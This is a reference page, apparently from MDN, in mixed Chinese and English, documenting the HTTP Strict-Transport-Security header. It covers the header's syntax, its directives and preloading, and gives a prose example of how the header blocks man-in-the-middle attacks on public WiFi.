* User-Agent detection, history and checklist
* Firefox 用戶代理字串參考 (en-US)
* 透過用戶代理偵測瀏覽器


Strict-Transport-Security - HTTP

Strict-Transport-Security
=========================

**HTTP `Strict-Transport-Security`** 回應標頭（簡稱為 HSTS (en-US)）告知瀏覽器應強制使用 HTTPS 以取代 HTTP。

| Header type | Response header (en-US) |
| --- | --- |
| Forbidden header name (en-US) | no |

Syntax
------
```

Strict-Transport-Security: max-age=<expire-time>
Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
Strict-Transport-Security: max-age=<expire-time>; preload
```

Directives
----------

`max-age=<expire-time>`

以秒計算的時間，告知瀏覽器應該保持強制 HTTPS 存取的時間有多長。

`includeSubDomains` 選擇性

若該標頭被聲明，則瀏覽器應該將強制使用 HTTPS 的狀態套用至該域名的所有子域。

`preload` 選擇性

參考 Preloading Strict Transport Security。 此非規範的一部份。

Description
-----------

若是網站在被訪問時經由 HTTP 被重定向至 HTTPS，則訪客將在受到 HTTPS 保護前與該網站的非加密版本通信。例如若使用者輸入 `http://www.foo.com/` 或是 foo.com 時，未加密的首次連線為中間人留下了機會。他們可以使用中間人攻擊將使用者定向至惡意網站而非使用者預期的網站的安全版本。

HTTP Strict Transport Security 標頭明確告知瀏覽器在有效期間費不應該使用 HTTP 與該網站進行通訊，並且應該將所有的 HTTP 請求自動轉換成 HTTPS。

**備註：** 瀏覽器將會忽略 HTTP 站點所回應的 `Strict-Transport-Security` 標頭，因為在 HTTP 連線下，該標頭可能是被惡意添加或是竄改的。瀏覽器僅會在使用 HTTPS 連線且該連線由合法的證書保護時回應該標頭的要求，唯有在這種情況下瀏覽器方能確定該站點有正確的 HTTPS 配置且標頭的確由該站點所要求。

### 一個範例情境

你連接到機場提供的免費 WIFI 並且登入你的網路銀行以察看可用餘額並支付帳單，不幸的是，你連上的無線網路實際上是黑客偽造的筆記型電腦。當你嘗試連上網路銀行時，實際上你連結的是黑客所偽造的網路銀行介面，現在，你的帳號密碼已經洩漏了。

HSTS 可以處理這項問題，你只要曾經在安全的環境下連結到你的網路銀行，且該銀行啟用了 HSTS ，那你的瀏覽器將會知道僅使用 HTTPS 進行通訊，而不會接受黑客的重定向請求，HSTS 從中間人手上保護了你的安全。

### 瀏覽器如何處理它

當你首次經由 HTTPS 存取使用 HSTS 的網站時，你的瀏覽器將會記憶此一要求，在未來你存取該網站時將會自動將 HTTP 轉為 HTTPS。

在 HSTS 標頭所指定的時間過期後，瀏覽器將不會自動將 HTTP 轉為 HTTPS。

無論何時將 Strict-Transport-Security 標頭傳遞到瀏覽器，它都會更新該網站的到期時間，因此網站可以更新此一訊息並防止該聲明到期。 如果有必要停用嚴格傳輸安全性，則將 max-age 設置為 0（使用 HTTPS 連接）將立即使 Strict-Transport-Security 標頭過期，從而允許使用 HTTP 訪問。

Preloading Strict Transport Security
------------------------------------

Google maintains an HSTS preload service. By following the guidelines and successfully submitting your domain, browsers will never connect to your domain using an insecure connection. While the service is hosted by Google, all browsers have stated an intent to use (or actually started using) the preload list. However, it is not part of the HSTS specification and should not be treated as official.

* Information regarding the HSTS preload list in Chrome : https://www.chromium.org/hsts
* Consultation of the Firefox HSTS preload list : nsSTSPreloadList.inc
Examples
--------

All present and future subdomains will be HTTPS for a max-age of 1 year. This blocks access to pages or sub domains that can only be served over HTTP.
```

Strict-Transport-Security: max-age=31536000; includeSubDomains
```

Specifications
--------------

| Specification |
| --- |
| HTTP Strict Transport Security (HSTS) # section-6.1 |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Blog post: HTTP Strict Transport Security has landed!
* Blog post: HTTP Strict Transport Security (force HTTPS)
* OWASP Article: HTTP Strict Transport Security
* Wikipedia: HTTP Strict Transport Security
* Browser test site: HSTS and HPKP test
* Features restricted to secure contexts (en-US)